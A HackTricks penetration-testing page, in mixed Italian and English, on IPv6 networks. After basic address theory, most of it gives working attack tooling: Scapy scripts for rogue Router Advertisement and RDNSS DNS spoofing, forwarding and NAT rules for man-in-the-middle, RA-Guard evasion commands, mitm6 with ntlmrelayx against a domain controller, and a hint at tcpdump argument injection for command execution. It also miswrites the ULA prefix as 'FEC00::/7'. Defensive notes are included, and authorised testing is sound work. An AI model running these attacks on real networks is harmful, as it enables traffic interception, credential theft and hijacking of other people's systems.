Pentesting IPv6

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

IPv6 Teoria di base

Reti

Gli indirizzi IPv6 sono strutturati per migliorare l’organizzazione della rete e l’interazione tra i dispositivi. Un indirizzo IPv6 è diviso in:

  1. Prefisso di rete: I primi 48 bit, che determinano il segmento di rete.
  2. ID di subnet: I successivi 16 bit, usati per definire subnet specifiche all’interno della rete.
  3. Identificatore dell’interfaccia: Gli ultimi 64 bit, che identificano in modo univoco un dispositivo all’interno della subnet.

Sebbene IPv6 non utilizzi il protocollo ARP presente in IPv4, introduce ICMPv6 con due messaggi principali:

  • Neighbor Solicitation (NS): Messaggi multicast per la risoluzione degli indirizzi.
  • Neighbor Advertisement (NA): Risposte unicast alle NS o annunci spontanei.

IPv6 include anche tipi di indirizzi speciali:

  • Indirizzo di loopback (::1): Equivalente a 127.0.0.1 di IPv4, per la comunicazione interna all’host.
  • Indirizzi link-local (FE80::/10): Per attività nella rete locale, non per il routing su Internet. I dispositivi nella stessa rete locale possono scoprirsi reciprocamente usando questo intervallo.

Utilizzo pratico di IPv6 nei comandi di rete

Per interagire con reti IPv6, puoi usare vari comandi:

  • Ping agli indirizzi link-local: Verifica la presenza di dispositivi locali usando ping6.
  • Neighbor Discovery: Usa ip neigh per visualizzare i dispositivi scoperti al livello link.
  • alive6: Uno strumento alternativo per scoprire dispositivi sulla stessa rete.

Di seguito alcuni esempi di comandi:

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 addresses can be derived from a device’s MAC address for local communication. Ecco una guida semplificata su come derivare l’indirizzo Link-local IPv6 da un MAC noto, e una breve panoramica sui tipi di indirizzi IPv6 e sui metodi per scoprire indirizzi IPv6 in una rete.

Given a MAC address 12:34:56:78:9a:bc, you can construct the Link-local IPv6 address as follows:

  1. Convert MAC to IPv6 format: 1234:5678:9abc
  2. Prepend fe80:: and insert fffe in the middle: fe80::1234:56ff:fe78:9abc
  3. Invert the seventh bit from the left, changing 1234 to 1034: fe80::1034:56ff:fe78:9abc

IPv6 Address Types

  • Unique Local Address (ULA): Per comunicazioni locali, non destinato al routing su Internet pubblico. Prefix: FEC00::/7
  • Multicast Address: Per comunicazioni one-to-many. Consegnato a tutte le interfacce nel gruppo multicast. Prefix: FF00::/8
  • Anycast Address: Per comunicazioni one-to-nearest. Inviato all’interfaccia più vicina secondo il protocollo di routing. Fa parte dell’intervallo global unicast 2000::/3.

Address Prefixes

  • fe80::/10: Link-Local addresses (simili a 169.254.x.x)
  • fc00::/7: Unique Local-Unicast (simili agli intervalli privati IPv4 come 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

Discovering IPv6 Addresses within a Network

  1. Obtain the MAC address of a device within the network.
  2. Derive the Link-local IPv6 address from the MAC address.

Way 2: Using Multicast

  1. Send a ping to the multicast address ff02::1 to discover IPv6 addresses on the local network.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

Attacchi Man-in-the-Middle (MitM) su IPv6

Esistono diverse tecniche per eseguire attacchi MitM sulle reti IPv6, come ad esempio:

  • Spoofing di ICMPv6 neighbor o router advertisements.
  • Uso di ICMPv6 redirect o messaggi “Packet Too Big” per manipolare il routing.
  • Attaccare mobile IPv6 (di solito richiede che IPSec sia disabilitato).
  • Configurare un rogue DHCPv6 server.

Identificazione degli indirizzi IPv6 nel campo

Esplorazione dei sottodomini

Un metodo per trovare sottodomini potenzialmente collegati ad indirizzi IPv6 consiste nello sfruttare i motori di ricerca. Ad esempio, l’uso di un pattern di query come ipv6.* può essere efficace. In particolare, il seguente comando di ricerca può essere usato su Google:

site:ipv6./

Utilizzo delle query DNS

Per identificare gli indirizzi IPv6, è possibile interrogare alcuni tipi di record DNS:

  • AXFR: Richiede un trasferimento di zona completo, potenzialmente rivelando un’ampia gamma di record DNS.
  • AAAA: Cerca direttamente indirizzi IPv6.
  • ANY: Una query ampia che restituisce tutti i record DNS disponibili.

Sondaggio con ping6

Dopo aver individuato gli indirizzi IPv6 associati a un’organizzazione, l’utilità ping6 può essere usata per il sondaggio. Questo strumento aiuta a valutare la reattività degli indirizzi IPv6 identificati e può anche assistere nella scoperta di dispositivi IPv6 adiacenti.

Tecniche di attacco sulla rete locale IPv6

Le sezioni seguenti trattano attacchi pratici IPv6 a livello layer-2 che possono essere eseguiti all’interno dello stesso segmento /64 senza conoscere alcun prefisso globale. Tutti i pacchetti mostrati di seguito sono link-local e viaggiano solo attraverso lo switch locale, rendendoli estremamente furtivi nella maggior parte degli ambienti.

Ottimizzazione del sistema per un laboratorio stabile

Prima di sperimentare con il traffico IPv6 è consigliabile rinforzare la propria macchina per evitare di essere avvelenati dai propri test e ottenere le migliori prestazioni durante massicce packet injection/sniffing.

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passive NDP & DHCPv6 Sniffing

Poiché ogni host IPv6 si unisce automaticamente a più gruppi multicast (ff02::1, ff02::2, …) e comunica via ICMPv6 per SLAAC/NDP, puoi mappare l’intero segmento senza inviare un singolo pacchetto. Il seguente one-liner Python/Scapy ascolta i messaggi L2 più interessanti e stampa un log colorato e timestampato di chi è chi:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Risultato: una completa link-local topology (MAC ⇄ IPv6) in pochi secondi, senza attivare sistemi IPS/IDS che si basano su scansioni attive.

Router Advertisement (RA) Spoofing

Gli host IPv6 si affidano a ICMPv6 Router Advertisements per la scoperta del gateway predefinito. Se inietti RAs più frequentemente rispetto al router legittimo, i dispositivi passeranno silenziosamente a te come gateway.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Per effettivamente inoltrare il traffico dopo aver vinto la gara:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Flag di Router Advertisement (M/O) & Default Router Preference (Prf)

FlagSignificatoEffetto sul comportamento del client
M (Managed Address Configuration)Indica che è disponibile stateful addressing via DHCPv6 sul segmento.Forte indicazione che DHCPv6 spoofing può funzionare.
O (Other Configuration)Segnala che gli host dovrebbero usare DHCPv6 per altri parametri (DNS, NTP, …).L’indirizzo di solito proviene ancora da SLAAC, ma il DNS può essere dirottato con DHCPv6.
M=0 / O=0Rete in stile SLAAC puro.DHCPv6 potrebbe non comparire mai; concentrarsi su rogue RA / RDNSS invece di mitm6.
M=1 / O=1Ambiente misto.Sia le informazioni DHCPv6 che SLAAC possono coesistere; la superficie di spoofing è la più ampia.

Durante un pentest puoi semplicemente ispezionare il RA legittimo una sola volta e decidere quale vettore sia fattibile:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Cerca il campo flags [M,O] nel dump – nessuna congettura richiesta.

Il campo Prf (Router Preference) nell’header RA controlla quanto il tuo router malevolo risulti attraente quando sono presenti più gateway:

Valore PrfBinarioSignificato
Alto10I client preferiscono questo router rispetto a qualsiasi Medio/Basso
Medio (default)01Usato dalla quasi totalità dei dispositivi legittimi
Basso00Scelto solo quando non esiste un router migliore

Quando generi il pacchetto con Scapy puoi impostarlo tramite il parametro prf come mostrato sopra (prf=0x1 → Alto). Combinare Prf Alto, un intervallo breve, e una durata diversa da zero rende il tuo gateway malevolo notevolmente stabile.


RDNSS (DNS) Spoofing via RA

RFC 8106 permette di aggiungere un’opzione Recursive DNS Server (RDNSS) dentro una RA. Questa è la DNS hijack primitive di riferimento quando il segmento è SLAAC-only (M=0 / O=0) e i client non parlano con DHCPv6. Il supporto lato client è dipendente dall’implementazione, quindi verifica l’OS target in laboratorio invece di assumere un’adozione universale di RDNSS.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Lo stesso pacchetto può anche trasportare un’opzione DNSSL per avvelenare i percorsi di risoluzione dei nomi brevi in ambienti IPv6-only o dual-stack dove i domini di ricerca sono importanti. Se termini l’attacco in modo pulito, invia una revert RA con la stessa opzione e lifetime=0.

Evasione di RA-Guard nella pratica

RFC 7113 documenta perché implementazioni semplicistiche di RA-Guard possono essere bypassate quando non riescono a parsare l’intera catena di header IPv6 o consentono il passaggio dei frammenti. Non è ricerca nuova, ma è ancora rilevante operativamente perché molti switch di accesso implementano solo un filtraggio parziale.

Recenti build di thc-ipv6 espongono questo direttamente negli strumenti:

# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64

# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64

# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0

Use these only after confirming that a normal forged RA is being filtered. If -H/-D/-F suddenly makes hosts accept your rogue router, you have evidence that the switch is matching only the fixed IPv6 header instead of the real ICMPv6 RA payload.

DHCPv6 DNS Spoofing (mitm6)

Quando la RA legittima pubblicizza M e/o O, i client Windows comunemente inviano richieste DHCPv6 per indirizzo o configurazione accessoria. mitm6 sfrutta questo comportamento rispondendo al DHCPv6 e inserendo il tuo indirizzo IPv6 link-local come DNS con una durata breve. Questo abilita:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • Intercepting internal name resolution without touching routers
  • Targeting a bassa visibilità perché puoi limitare il poisoning a specifici hosts o domains

Uso tipico:

# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus

# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad

Useful details from current mitm6 builds:

  • --no-ra keeps the attack DHCPv6-only when the network detects rogue RAs.
  • -d/--domain and --host-allowlist keep poisoning tight instead of hijacking every query on the segment.
  • --ignore-nofqdn reduces noise from clients that omit the DHCPv6 FQDN option.

If the segment is pure SLAAC (M=0 / O=0), mitm6 is usually the wrong primitive. Use rogue RAs / RDNSS instead, and keep the higher-level relay logic in the WPAD/relay page.

Difese

  • RA Guard / DHCPv6 Guard / ND Inspection on managed switches.
  • Port ACLs that allow only the legitimate router’s MAC to send RAs.
  • Monitor for unexpected high-rate RAs or sudden RDNSS changes.
  • Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.

NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure

Many consumer routers expose management daemons (HTTP(S), SSH/Telnet, TR-069, etc.) on all interfaces. In some deployments, the “guest/public” SSID is bridged to the WAN/core and is IPv6-only. Even if the router’s IPv6 changes on every boot, you can reliably learn it using NDP/ICMPv6 and then direct-connect to the management plane from the guest SSID.

Typical workflow from a client connected to the guest/public SSID:

  1. Discover the router via ICMPv6 Router Solicitation to the All-Routers multicast ff02::2 and capture the Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

La RA rivela l’indirizzo link-local del router e spesso anche un indirizzo/prefisso globale. Se è noto solo un link-local, ricorda che le connessioni devono specificare l’indice di zona, es. ssh -6 admin@[fe80::1%wlan0].

Alternativa: usa la suite ndisc6 se disponibile:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Raggiungere servizi esposti tramite IPv6 dalla guest SSID:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Se la shell di gestione fornisce strumenti di packet-capture tramite un wrapper (es., tcpdump), controllare la presenza di argument/filename injection che permette di passare flag extra di tcpdump come -G/-W/-z per ottenere post-rotate command execution. Vedi:

Wildcards Spare tricks

Contromisure/Note:

  • Non associare la gestione a bridge guest/public; applicare firewall IPv6 sui bridge SSID.
  • Rate-limit e filtrare NDP/RS/RA sui segmenti guest dove possibile.
  • Per i servizi che devono essere raggiungibili, imporre authN/MFA e forti rate-limits.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks